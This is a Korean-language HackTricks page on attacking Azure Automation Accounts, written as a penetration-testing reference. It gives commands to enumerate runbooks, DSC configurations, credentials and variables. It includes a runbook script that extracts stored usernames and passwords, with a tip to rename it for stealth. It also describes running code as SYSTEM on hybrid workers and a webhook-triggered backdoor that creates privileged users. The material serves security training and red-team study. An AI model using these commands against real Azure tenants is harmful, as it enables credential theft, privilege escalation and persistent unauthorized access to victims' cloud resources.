Az - Automation Account

HackTricks 지원하기

기본 정보

문서에서 찾아보기: Azure Automation은 클라우드 기반 자동화, 운영 체제 업데이트 및 구성 서비스를 제공하여 Azure 및 비-Azure 환경 전반에 걸쳐 일관된 관리를 지원합니다. 프로세스 자동화, 구성 관리, 업데이트 관리, 공유 기능 및 이종 기능이 포함되어 있습니다.

이들은 Azure에서 "예약된 작업"으로, Azure 환경관리, 확인 및 구성하기 위해 작업 (동작 또는 스크립트)를 실행할 수 있게 합니다.

Run As 계정

Run as Account를 사용하면 자체 서명된 인증서로 Azure AD 애플리케이션을 생성하고 서비스 주체를 생성하며 현재 구독의 계정에 기여자 역할을 할당합니다 (많은 권한). Microsoft는 자동화 계정에 관리 ID 사용을 권장합니다.

이것은 2023년 9월 30일에 제거되고 관리 ID로 변경될 것입니다.

Runbooks 및 작업

Runbooks를 사용하면 임의의 PowerShell 코드를 실행할 수 있습니다. 이는 공격자가 연결된 주체의 권한을 훔치는 데 악용될 수 있습니다. Runbooks코드에서는 자격 증명과 같은 민감한 정보도 찾을 수 있습니다.

작업읽을 수 있다면, 실행출력 (잠재적으로 민감한 정보)을 포함하고 있으므로 확인하세요.

자동화 계정 --> <선택한 자동화 계정> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

Runbook은 Azure 내부의 컨테이너 또는 Hybrid Worker (비-Azure 머신)에서 실행할 수 있습니다. 로그 분석 에이전트가 VM에 배포되어 하이브리드 워커로 등록됩니다. 하이브리드 워커 작업은 Windows에서 SYSTEM으로, Linux에서 nxautomation 계정으로 실행됩니다. 각 하이브리드 워커는 하이브리드 워커 그룹에 등록됩니다.

따라서 Windows 하이브리드 워커에서 Runbook을 실행할 수 있다면, 외부 머신에서 시스템으로 임의의 명령을 실행할 수 있습니다 (좋은 피벗 기술).

상태 구성 (SC) 침해

문서에서 찾아보기: Azure Automation 상태 구성은 클라우드나 온프레미스 데이터 센터의 노드에 대한 PowerShell Desired State Configuration (DSC) 구성을 작성, 관리 및 컴파일할 수 있는 Azure 구성 관리 서비스입니다. 서비스는 DSC 리소스를 가져오고 대상 노드에 구성을 할당하여 클라우드에서 모두 처리합니다. Azure 포털에서 구성 관리 아래의 **상태 구성 (DSC)**을 선택하여 Azure Automation 상태 구성에 액세스할 수 있습니다.

이러한 구성에 민감한 정보가 포함될 수 있습니다.

RCE

SC를 악용하여 관리되는 머신에서 임의의 스크립트를 실행할 수 있습니다.

Az - State Configuration RCE

열거

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

런북 생성

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

런 북을 사용하여 자동화 계정에 정의된 자격 증명 및 변수 유출하기

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

기존 Run Book을 수정하거나 웹 콘솔에서 동일한 작업을 수행할 수 있습니다.

자동화된 고도의 권한을 가진 사용자 생성 설정 단계

1. 자동화 계정 초기화

  • 필요한 조치: 새 자동화 계정 생성.

  • 구체적인 설정: "Azure Run As 계정 생성"이 활성화되어 있는지 확인.

2. Runbook 가져오고 설정

  • 소스: MicroBurst GitHub Repository에서 샘플 runbook 다운로드.

  • 필요한 조치:

  • runbook을 자동화 계정에 가져옵니다.

  • runbook을 게시하여 실행 가능하게 합니다.

  • 외부 트리거를 활성화하는 webhook을 runbook에 연결합니다.

3. AzureAD 모듈 구성

  • 필요한 조치: AzureAD 모듈을 자동화 계정에 추가합니다.

  • 추가 단계: 모든 Azure Automation 모듈이 최신 버전으로 업데이트되었는지 확인합니다.

4. 권한 할당

  • 할당할 역할:

  • 사용자 관리자

  • 구독 소유자

  • 대상: 필요한 권한을 위해 이러한 역할을 자동화 계정에 할당합니다.

5. 잠재적인 액세스 손실 인식

  • 참고: 이러한 자동화 구성은 구독 제어를 상실할 수 있음을 인식하십시오.

6. 사용자 생성 트리거

  • 웹훅을 트리거하여 POST 요청을 보내 새 사용자를 생성합니다.

  • 제공된 PowerShell 스크립트를 사용하여 $uri를 실제 웹훅 URL로 대체하고 $AccountInfo를 원하는 사용자 이름과 암호로 업데이트합니다.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

참고 자료

HackTricks 지원

Last updated